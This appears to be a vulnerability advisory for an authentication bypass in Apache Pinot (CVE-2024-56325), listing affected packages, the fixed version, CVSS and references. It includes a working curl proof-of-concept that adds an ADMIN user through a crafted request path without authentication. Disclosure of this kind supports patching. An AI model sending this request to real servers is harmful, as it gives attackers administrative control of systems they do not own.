Apache Pinot Vulnerable to Authentication Bypass
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.apache.pinot:pinot-broker | >= 0.8.0, < 1.3.0 | 1.3.0 |
| Java / Kotlin (Maven) | org.apache.pinot:pinot-common | >= 0.8.0, < 1.3.0 | 1.3.0 |
| Java / Kotlin (Maven) | org.apache.pinot:pinot-controller | >= 0.8.0, < 1.3.0 | 1.3.0 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-56325
- https://github.com/apache/pinot/pull/14383
- https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f
- https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121
- https://github.com/apache/pinot
- https://github.com/apache/pinot/releases/tag/release-1.3.0
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
- http://www.openwall.com/lists/oss-security/2025/03/27/8
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-288- Platform
- Java / Kotlin (Maven)
- Package
org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller- Disclosed
- 01.04.2025
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6jwp-4wvj-6597 - CC BY 4.0
Vulnerability history: org.apache.pinot:pinot-broker
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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